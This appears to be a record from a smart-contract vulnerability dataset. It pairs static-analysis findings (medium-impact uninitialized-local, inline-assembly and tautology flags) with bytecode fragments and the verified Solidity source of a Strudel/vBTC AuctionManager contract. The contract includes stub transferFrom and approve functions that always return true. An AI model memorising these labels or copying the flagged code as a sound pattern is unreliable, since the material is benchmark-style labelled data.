000019169055600190565b600b5490565b6000805433600160a060020a03908116911614610d5157600080fd5b60135460ff1615610d6157600080fd5b506013805461ff0019169055600190565b60125481565b60115460009060ff161515600114610d8f57600080fd5b600160a060020a03831615801590610da75750600082115b8015610dcc5750600160a060020a038416600090815260016020526040902054829010155b8015610dff5750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b8015610e245750600160a060020a03841660009081526003602052604090205460ff16155b8015610e495750600160a060020a03831660009081526003602052604090205460ff16155b1515610e5457600080fd5b600160a060020a038416600090815260016020526040902054610e7d908363ffffffff611d0b16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610eb2908363ffffffff611c2b16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610efa908363ffffffff611d0b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206121168339815191529085905190815260200160405180910390a35060015b9392505050565b600d5481565b600a5460ff1690565b6000805433600160a060020a03908116911614610f8157600080fd5b600160a060020a033316600090815260016020526040902054821115610fa657600080fd5b5033600160a060020a038116600090815260016020526040902054610fcb9083611d0b565b600160a060020a038216600090815260016020526040902055600b54610ff7908363ffffffff611d0b16565b600b5560105461100d908363ffffffff611d0b16565b601055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000805433600160a060020a0390811691161461106d57600080fd5b60ff8251111561107c57600080fd5b5060005b81518160ff1610156110db57600160036000848460ff16815181106110a157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101611080565b5050565b6000805433600160a060020a039081169116146110fb57600080fd5b50600160a060020a033081163190821681156108fc0282604051600060405180830381858888f1935050505015156110db57600080fd5b60065481565b600160a060020a031660009081526001602052604090205490565b6000805433600160a060020a0390811691161461116f57600080fd5b60135460ff161561117f57600080fd5b506013805461ff001916610100179055600190565b6000805433600160a060020a039081169116146111b057600080fd5b506011805460ff1916600190811790915590565b600e5481565b600054600160a060020a031681565b6111e16120ec565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b601354610100900460ff1681565b6000805433600160a060020a0390811691161461127657600080fd5b60135460ff161561128657600080fd5b506013805460ff1916600190811790915590565b6000805433600160a060020a039081169116146112b657600080fd5b60ff825111156112c557600080fd5b5060005b81518160ff1610156110db57600060036000848460ff16815181106112ea57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016112c9565b60005433600160a060020a0390811691161461133f57600080fd5b600160a060020a03811615611377576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000805433600160a060020a0390811691161461139657600080fd5b60135460ff16156113a657600080fd5b60ff835111156113b557600080fd5b81518351146113c357600080fd5b5060005b82518160ff161015610bd857600f54828260ff16815181106113e557fe5b9060200190602002015111156113fa57600080fd5b611434838260ff168151811061140c57fe5b90602001906020020151838360ff168151811061142557fe5b90602001906020020151611c3a565b50600b546010541061144e576013805460ff191660011790555b6001016113c7565b60006114606120ec565b60115460ff16151560011461147457600080fd5b61147d84611d1d565b156114945761148d848483611d25565b915061149f565b61148d848483611f78565b5092915050565b600c5481565b6000805433600160a060020a039081169116146114c857600080fd5b60135460ff16156114d857600080fd5b506013805462ff0000191662010000179055600190565b6000805433600160a060020a0390811691161461150b57600080fd5b50600c849055600d8390556012829055600681905560015b949350505050565b60115460009060ff16151560011461154257600080fd5b61154b84611d1d565b156115625761155b848484611d25565b9050610f4f565b61155b848484611f78565b60135460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156115d057600080fd5b6102c65a03f115156115e157600080fd5b50505060405180519695505050505050565b60056020526000908152604090205481565b60135462010000900460ff1681565b600754600160a060020a031681565b6000805433600160a060020a0390811691161461163f57600080fd5b506013805460ff19169055600190565b600f5481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60115460ff1681565b600080548190819033600160a060020a039081169116146116a957600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561170357600080fd5b6102c65a03f1151561171457600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561178457600080fd5b6102c65a03f1151561179557600080fd5b505050604051805195945050505050565b6000805433600160a060020a039081169116146117c257600080fd5b60ff835111156117d157600080fd5b5060005b82518160ff161015610bd857600654828260ff16815181106117f357fe5b90602001906020020151111561180857600080fd5b818160ff168151811061181757fe5b9060200190602002015160046000858460ff168151811061183457fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556001016117d5565b6000805433600160a060020a0390811691161461187c57600080fd5b506011805460ff19169055600190565b60046020526000908152604090205481565b60105481565b6000805433600160a060020a039081169116146118c057600080fd5b60135460ff16156118d057600080fd5b60ff835111156118df57600080fd5b600f548211156118ee57600080fd5b5060005b82518160ff161015610bbf57600f5482111561190d57600080fd5b61192f838260ff168151811061191f57fe5b9060200190602002015183611c3a565b506001016118f2565b60115460009060ff16151560011461194f57600080fd5b61195885611d1d565b15611be0578361196733611138565b101561197257600080fd5b600160a060020a03331660009081526001602052604090205461199b908563ffffffff611d0b16565b600160a060020a0333811660009081526001602052604080822093909355908716815220546119d0908563ffffffff611c2b16565b600160a060020a0386166000818152600160205260408082209390935590918490518082805190602001908083835b60208310611a1e5780518252601f1990920191602091820191016119ff565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611aaf578082015183820152602001611a97565b50505050905090810190601f168015611adc5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611b0057fe5b826040518082805190602001908083835b60208310611b305780518252601f199092019160209182019101611b11565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001611523565b611beb858585611f78565b9050611523565b60036020526000908152604090205460ff1681565b6000828202831580611c235750828482811515611c2057fe5b04145b1515610f4f57fe5b600082820183811015610f4f57fe5b60135460009060ff1615611c4d57600080fd5b600f546000901015611c5e57600080fd5b600f54821115611c6d57600080fd5b601054611c80908363ffffffff611c2b16565b601055600f54611c96908363ffffffff611d0b16565b600f55600160a060020a038316600090815260016020526040902054611cc2908363ffffffff611c2b16565b600160a060020a0384166000818152600160205260408082209390935590916000805160206121168339815191529085905190815260200160405180910390a350600192915050565b600082821115611d1757fe5b50900390565b6000903b1190565b60008083611d3233611138565b1015611d3d57600080fd5b600160a060020a033316600090815260016020526040902054611d66908563ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590871681522054611d9b908563ffffffff611c2b16565b600160a060020a03861660008181526001602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e34578082015183820152602001611e1c565b50505050905090810190601f168015611e615780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611e8157600080fd5b6102c65a03f11515611e9257600080fd5b505050826040518082805190602001908083835b60208310611ec55780518252601f199092019160209182019101611ea6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001949350505050565b600082611f8433611138565b1015611f8f57600080fd5b600160a060020a033316600090815260016020526040902054611fb8908463ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590861681522054611fed908463ffffffff611c2b16565b600160a060020a03851660009081526001602052604090819020919091558290518082805190602001908083835b6020831061203a5780518252601f19909201916020918201910161201b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206121168339815191528560405190815260200160405180910390a35060019392505050565b60206040519081016040526000815290565b600080828481151561210c57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058209984dddc455ddaa031fac3edb2efdeb9be058304f505dc9339eab8e5513a9ded0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,935 |
0x23656002fd29ea52c96b9f5b41566a40273f20b1
|
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
pragma solidity 0.6.6;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IToken {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function intervalLength() external returns (uint256);
function owner() external view returns (address);
function burn(uint256 _amount) external;
function renounceMinter() external;
function mint(address account, uint256 amount) external returns (bool);
function lock(
address recipient,
uint256 amount,
uint256 blocks,
bool deposit
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool success);
}
interface IDutchAuction {
function auctionEnded() external view returns (bool);
function finaliseAuction() external;
}
interface IDutchSwapFactory {
function deployDutchAuction(
address _token,
uint256 _tokenSupply,
uint256 _startDate,
uint256 _endDate,
address _paymentCurrency,
uint256 _startPrice,
uint256 _minimumPrice,
address _wallet
) external returns (address dutchAuction);
}
interface IPriceOracle {
function consult(uint256 amountIn) external view returns (uint256 amountOut);
function update() external;
}
contract AuctionManager {
using SafeMath for uint256;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// used as factor when dealing with %
uint256 constant ACCURACY = 1e4;
// when 95% at market price, start selling
uint256 public sellThreshold;
// cap auctions at certain amount of $TRDL minted
uint256 public dilutionBound;
// stop selling when volume small
// uint256 public dustThreshold; set at dilutionBound / 52
// % start_price above estimate, and % min_price below estimate
uint256 public priceSpan;
// auction duration
uint256 public auctionDuration;
IToken private strudel;
IToken private vBtc;
IToken private gStrudel;
IPriceOracle private btcPriceOracle;
IPriceOracle private vBtcPriceOracle;
IPriceOracle private strudelPriceOracle;
IDutchSwapFactory private auctionFactory;
IDutchAuction public currentAuction;
mapping(address => uint256) public lockTimeForAuction;
constructor(
address _strudelAddr,
address _gStrudel,
address _vBtcAddr,
address _btcPriceOracle,
address _vBtcPriceOracle,
address _strudelPriceOracle,
address _auctionFactory
) public {
strudel = IToken(_strudelAddr);
gStrudel = IToken(_gStrudel);
vBtc = IToken(_vBtcAddr);
btcPriceOracle = IPriceOracle(_btcPriceOracle);
vBtcPriceOracle = IPriceOracle(_vBtcPriceOracle);
strudelPriceOracle = IPriceOracle(_strudelPriceOracle);
auctionFactory = IDutchSwapFactory(_auctionFactory);
sellThreshold = 9500; // vBTC @ 95% of BTC price or above
dilutionBound = 70; // 0.7% of $TRDL total supply
priceSpan = 2500; // 25%
auctionDuration = 84600; // ~23,5h
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function _getDiff(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) {
return a - b;
}
return b - a;
}
function name() public view returns (string memory) {
return gStrudel.name();
}
function symbol() public view returns (string memory) {
return gStrudel.symbol();
}
function decimals() public view returns (uint8) {
return gStrudel.decimals();
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return gStrudel.totalSupply();
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return gStrudel.balanceOf(account);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(strudel.owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function updateOracles() public {
try btcPriceOracle.update() {
// do nothing
} catch Error(string memory) {
// do nothing
} catch (bytes memory) {
// do nothing
}
try vBtcPriceOracle.update() {
// do nothing
} catch Error(string memory) {
// do nothing
} catch (bytes memory) {
// do nothing
}
try strudelPriceOracle.update() {
// do nothing
} catch Error(string memory) {
// do nothing
} catch (bytes memory) {
// do nothing
}
}
function rotateAuctions() external {
if (address(currentAuction) != address(0)) {
require(currentAuction.auctionEnded(), "previous auction hasn't ended");
try currentAuction.finaliseAuction() {
// do nothing
} catch Error(string memory) {
// do nothing
} catch (bytes memory) {
// do nothing
}
uint256 studelReserves = strudel.balanceOf(address(this));
if (studelReserves > 0) {
strudel.burn(studelReserves);
}
}
updateOracles();
// get prices
uint256 btcPriceInEth = btcPriceOracle.consult(1e18);
uint256 vBtcPriceInEth = vBtcPriceOracle.consult(1e18);
uint256 strudelPriceInEth = strudelPriceOracle.consult(1e18);
// measure outstanding supply
uint256 vBtcOutstandingSupply = vBtc.totalSupply();
uint256 strudelSupply = strudel.totalSupply();
uint256 vBtcAmount = vBtc.balanceOf(address(this));
vBtcOutstandingSupply -= vBtcAmount;
// calculate vBTC supply imbalance in ETH
uint256 imbalance = _getDiff(btcPriceInEth, vBtcPriceInEth).mul(vBtcOutstandingSupply);
uint256 cap = strudelSupply.mul(dilutionBound).mul(strudelPriceInEth).div(ACCURACY);
// cap by dillution bound
imbalance = min(
cap,
imbalance
);
// pause if imbalance below dust threshold
if (imbalance.div(strudelPriceInEth) < strudelSupply.mul(dilutionBound).div(52).div(ACCURACY)) {
// pause auctions
currentAuction = IDutchAuction(address(0));
return;
}
// determine what kind of auction we want
uint256 priceRelation = btcPriceInEth.mul(ACCURACY).div(vBtcPriceInEth);
if (priceRelation < ACCURACY.mul(ACCURACY).div(sellThreshold)) {
// cap vBtcAmount by imbalance in vBTC
vBtcAmount = min(vBtcAmount, imbalance.div(vBtcPriceInEth));
// calculate vBTC price
imbalance = vBtcPriceInEth.mul(1e18).div(strudelPriceInEth);
// auction off some vBTC
vBtc.approve(address(auctionFactory), vBtcAmount);
currentAuction = IDutchAuction(
auctionFactory.deployDutchAuction(
address(vBtc),
vBtcAmount,
now,
now + auctionDuration,
address(strudel),
imbalance.mul(ACCURACY.add(priceSpan)).div(ACCURACY), // startPrice
imbalance.mul(ACCURACY.sub(priceSpan)).div(ACCURACY), // minPrice
address(this)
)
);
} else {
// calculate price in vBTC
vBtcAmount = strudelPriceInEth.mul(1e18).div(vBtcPriceInEth);
// auction off some $TRDL
currentAuction = IDutchAuction(
auctionFactory.deployDutchAuction(
address(this),
imbalance.div(strudelPriceInEth), // calculate imbalance in $TRDL
now,
now + auctionDuration,
address(vBtc),
vBtcAmount.mul(ACCURACY.add(priceSpan)).div(ACCURACY), // startPrice
vBtcAmount.mul(ACCURACY.sub(priceSpan)).div(ACCURACY), // minPrice
address(this)
)
);
// if imbalance >= dillution bound, use max lock (52 weeks)
// if imbalance < dillution bound, lock shorter
lockTimeForAuction[address(currentAuction)] = gStrudel.intervalLength().mul(52).mul(imbalance).div(cap);
}
}
function setSellThreshold(uint256 _threshold) external onlyOwner {
require(_threshold >= 6000, "threshold below 60% minimum");
require(_threshold <= 12000, "threshold above 120% maximum");
sellThreshold = _threshold;
}
function setDulutionBound(uint256 _dilutionBound) external onlyOwner {
require(_dilutionBound <= 1000, "dilution bound above 10% max value");
dilutionBound = _dilutionBound;
}
function setPriceSpan(uint256 _priceSpan) external onlyOwner {
require(_priceSpan > 1000, "price span should have at least 10%");
require(_priceSpan < ACCURACY, "price span larger accuracy");
priceSpan = _priceSpan;
}
function setAuctionDuration(uint256 _auctionDuration) external onlyOwner {
require(_auctionDuration >= 3600, "auctions should run at laest for 1 hour");
require(_auctionDuration <= 604800, "auction duration should be less than week");
auctionDuration = _auctionDuration;
}
function renounceMinter() external onlyOwner {
strudel.renounceMinter();
}
function swipe(address tokenAddr) external onlyOwner {
IToken token = IToken(tokenAddr);
token.transfer(strudel.owner(), token.balanceOf(address(this)));
}
// In deployDutchAuction, approve and transferFrom are called
// In initDutchAuction, transferFrom is called again
// In DutchAuction, transfer is called to either payout, or return money to AuctionManager
function transferFrom(address, address, uint256) public pure returns (bool) {
return true;
}
function approve(address, uint256) public pure returns (bool) {
return true;
}
function transfer(address to, uint256 amount) public returns (bool success) {
// require sender is our Auction
address auction = msg.sender;
require(lockTimeForAuction[auction] > 0, "Caller is not our auction");
// if recipient is AuctionManager, it means we are doing a refund -> do nothing
if (to == address(this)) return true;
uint256 blocks = lockTimeForAuction[auction];
strudel.mint(address(this), amount);
strudel.approve(address(gStrudel), amount);
gStrudel.lock(to, amount, blocks, false);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638ea709f3116100b8578063a497e6741161007c578063a497e67414610345578063a9059cbb14610362578063afe5475f1461038e578063b06cd7b214610396578063c99e1e481461039e578063cce7db58146103c457610142565b80638ea709f3146102f357806395d89b41146102fb57806398650275146103035780639c01bc331461030b578063a2c082991461032857610142565b806323b872dd1161010a57806323b872dd146102455780632d4310c01461027b578063313ce56714610283578063496a698d146102a157806370a08231146102c5578063759b971c146102eb57610142565b8063069a9c301461014757806306fdde0314610166578063095ea7b3146101e35780630cbf54c81461022357806318160ddd1461023d575b600080fd5b6101646004803603602081101561015d57600080fd5b50356103ea565b005b61016e6104ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a8578181015183820152602001610190565b50505050905090810190601f1680156101d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020f600480360360408110156101f957600080fd5b506001600160a01b038135169060200135610621565b604080519115158252519081900360200190f35b61022b61062a565b60408051918252519081900360200190f35b61022b610630565b61020f6004803603606081101561025b57600080fd5b506001600160a01b038135811691602081013590911690604001356106a6565b61022b6106af565b61028b6106b5565b6040805160ff9092168252519081900360200190f35b6102a96106fa565b604080516001600160a01b039092168252519081900360200190f35b61022b600480360360208110156102db57600080fd5b50356001600160a01b0316610709565b61016461078c565b6101646112c2565b61016e6116de565b610164611723565b6101646004803603602081101561032157600080fd5b503561183a565b6101646004803603602081101561033e57600080fd5b50356119a7565b6101646004803603602081101561035b57600080fd5b5035611afc565b61020f6004803603604081101561037857600080fd5b506001600160a01b038135169060200135611c3e565b61022b611e76565b61022b611e7c565b61022b600480360360208110156103b457600080fd5b50356001600160a01b0316611e82565b610164600480360360208110156103da57600080fd5b50356001600160a01b0316611e94565b6004805460408051638da5cb5b60e01b8152905133936001600160a01b0390931692638da5cb5b92808201926020929091829003018186803b15801561042f57600080fd5b505afa158015610443573d6000803e3d6000fd5b505050506040513d602081101561045957600080fd5b50516001600160a01b0316146104a4576040805162461bcd60e51b81526020600482018190526024820152600080516020612382833981519152604482015290519081900360640190fd5b6103e88111156104e55760405162461bcd60e51b815260040180806020018281038252602281526020018061233f6022913960400191505060405180910390fd5b600155565b600654604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b15801561052f57600080fd5b505afa158015610543573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561056c57600080fd5b810190808051604051939291908464010000000082111561058c57600080fd5b9083019060208201858111156105a157600080fd5b82516401000000008111828201881017156105bb57600080fd5b82525081516020918201929091019080838360005b838110156105e85781810151838201526020016105d0565b50505050905090810190601f1680156106155780820380516001836020036101000a031916815260200191505b50604052505050905090565b60015b92915050565b60035481565b600654604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561067557600080fd5b505afa158015610689573d6000803e3d6000fd5b505050506040513d602081101561069f57600080fd5b5051905090565b60019392505050565b60005481565b6006546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b15801561067557600080fd5b600b546001600160a01b031681565b600654604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561075a57600080fd5b505afa15801561076e573d6000803e3d6000fd5b505050506040513d602081101561078457600080fd5b505192915050565b600b546001600160a01b031615610aae57600b60009054906101000a90046001600160a01b03166001600160a01b031663864333746040518163ffffffff1660e01b815260040160206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d602081101561081557600080fd5b5051610868576040805162461bcd60e51b815260206004820152601d60248201527f70726576696f75732061756374696f6e206861736e277420656e646564000000604482015290519081900360640190fd5b600b60009054906101000a90046001600160a01b03166001600160a01b0316635228733f6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108b857600080fd5b505af19250505080156108c9575060015b6109c5576040516000815260443d10156108e557506000610982565b60046000803e60005160e01c6308c379a08114610906576000915050610982565b60043d036004833e81513d602482011167ffffffffffffffff8211171561093257600092505050610982565b808301805167ffffffffffffffff811115610954576000945050505050610982565b8060208301013d860181111561097257600095505050505050610982565b601f01601f191660405250925050505b8061098d5750610993565b506109c5565b3d8080156109bd576040519150601f19603f3d011682016040523d82523d6000602084013e6109c2565b606091505b50505b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b158015610a1457600080fd5b505afa158015610a28573d6000803e3d6000fd5b505050506040513d6020811015610a3e57600080fd5b505190508015610aac576004805460408051630852cd8d60e31b8152928301849052516001600160a01b03909116916342966c6891602480830192600092919082900301818387803b158015610a9357600080fd5b505af1158015610aa7573d6000803e3d6000fd5b505050505b505b610ab66112c2565b600754604080516361e25d8360e01b8152670de0b6b3a7640000600482015290516000926001600160a01b0316916361e25d83916024808301926020929190829003018186803b158015610b0957600080fd5b505afa158015610b1d573d6000803e3d6000fd5b505050506040513d6020811015610b3357600080fd5b5051600854604080516361e25d8360e01b8152670de0b6b3a7640000600482015290519293506000926001600160a01b03909216916361e25d8391602480820192602092909190829003018186803b158015610b8e57600080fd5b505afa158015610ba2573d6000803e3d6000fd5b505050506040513d6020811015610bb857600080fd5b5051600954604080516361e25d8360e01b8152670de0b6b3a7640000600482015290519293506000926001600160a01b03909216916361e25d8391602480820192602092909190829003018186803b158015610c1357600080fd5b505afa158015610c27573d6000803e3d6000fd5b505050506040513d6020811015610c3d57600080fd5b5051600554604080516318160ddd60e01b815290519293506000926001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b158015610c8a57600080fd5b505afa158015610c9e573d6000803e3d6000fd5b505050506040513d6020811015610cb457600080fd5b505160048054604080516318160ddd60e01b815290519394506000936001600160a01b03909216926318160ddd928282019260209290829003018186803b158015610cfe57600080fd5b505afa158015610d12573d6000803e3d6000fd5b505050506040513d6020811015610d2857600080fd5b5051600554604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610d7b57600080fd5b505afa158015610d8f573d6000803e3d6000fd5b505050506040513d6020811015610da557600080fd5b5051928390039290506000610dca84610dbe89896120b3565b9063ffffffff6120cb16565b90506000610df9612710610ded88610dbe600154896120cb90919063ffffffff16565b9063ffffffff61212b16565b9050610e05818361216d565b9150610e27612710610ded6034610ded600154896120cb90919063ffffffff16565b610e37838863ffffffff61212b16565b1015610e5b575050600b80546001600160a01b0319169055506112c0945050505050565b6000610e7388610ded8b61271063ffffffff6120cb16565b600054909150610e8f90610ded6127108063ffffffff6120cb16565b8110156110a757610eaf84610eaa858b63ffffffff61212b16565b61216d565b9350610ecd87610ded8a670de0b6b3a764000063ffffffff6120cb16565b600554600a546040805163095ea7b360e01b81526001600160a01b03928316600482015260248101899052905193965091169163095ea7b3916044808201926020929091908290030181600087803b158015610f2857600080fd5b505af1158015610f3c573d6000803e3d6000fd5b505050506040513d6020811015610f5257600080fd5b5050600a546005546003546004546002546001600160a01b039485169463f952cc00948116938a934293918401921690610fac9061271090610ded90610f9f90839063ffffffff61218316565b8d9063ffffffff6120cb16565b610fd9612710610ded610fcc6002546127106121dd90919063ffffffff16565b8e9063ffffffff6120cb16565b604080516001600160e01b031960e08b901b1681526001600160a01b0398891660048201526024810197909752604487019590955260648601939093529416608484015260a483019390935260c48201929092523060e482015290516101048083019260209291908290030181600087803b15801561105757600080fd5b505af115801561106b573d6000803e3d6000fd5b505050506040513d602081101561108157600080fd5b5051600b80546001600160a01b0319166001600160a01b039092169190911790556112b6565b6110c388610ded89670de0b6b3a764000063ffffffff6120cb16565b600a549094506001600160a01b031663f952cc00306110e8868b63ffffffff61212b16565b60035460055460025442928301916001600160a01b03169061111d9061271090610ded90610fcc90839063ffffffff61218316565b61114a612710610ded61113d6002546127106121dd90919063ffffffff16565b8f9063ffffffff6120cb16565b604080516001600160e01b031960e08b901b1681526001600160a01b0398891660048201526024810197909752604487019590955260648601939093529416608484015260a483019390935260c48201929092523060e482015290516101048083019260209291908290030181600087803b1580156111c857600080fd5b505af11580156111dc573d6000803e3d6000fd5b505050506040513d60208110156111f257600080fd5b5051600b80546001600160a01b0319166001600160a01b0392831617905560065460408051600162f4c03b60e01b03198152905161129a938693610ded938993610dbe93603493169163ff0b3fc59160048083019260209291908290030181600087803b15801561126257600080fd5b505af1158015611276573d6000803e3d6000fd5b505050506040513d602081101561128c57600080fd5b50519063ffffffff6120cb16565b600b546001600160a01b03166000908152600c60205260409020555b5050505050505050505b565b600760009054906101000a90046001600160a01b03166001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561131257600080fd5b505af1925050508015611323575060015b61141f576040516000815260443d101561133f575060006113dc565b60046000803e60005160e01c6308c379a081146113605760009150506113dc565b60043d036004833e81513d602482011167ffffffffffffffff8211171561138c576000925050506113dc565b808301805167ffffffffffffffff8111156113ae5760009450505050506113dc565b8060208301013d86018111156113cc576000955050505050506113dc565b601f01601f191660405250925050505b806113e757506113ed565b5061141f565b3d808015611417576040519150601f19603f3d011682016040523d82523d6000602084013e61141c565b606091505b50505b600860009054906101000a90046001600160a01b03166001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561146f57600080fd5b505af1925050508015611480575060015b61157c576040516000815260443d101561149c57506000611539565b60046000803e60005160e01c6308c379a081146114bd576000915050611539565b60043d036004833e81513d602482011167ffffffffffffffff821117156114e957600092505050611539565b808301805167ffffffffffffffff81111561150b576000945050505050611539565b8060208301013d860181111561152957600095505050505050611539565b601f01601f1916604052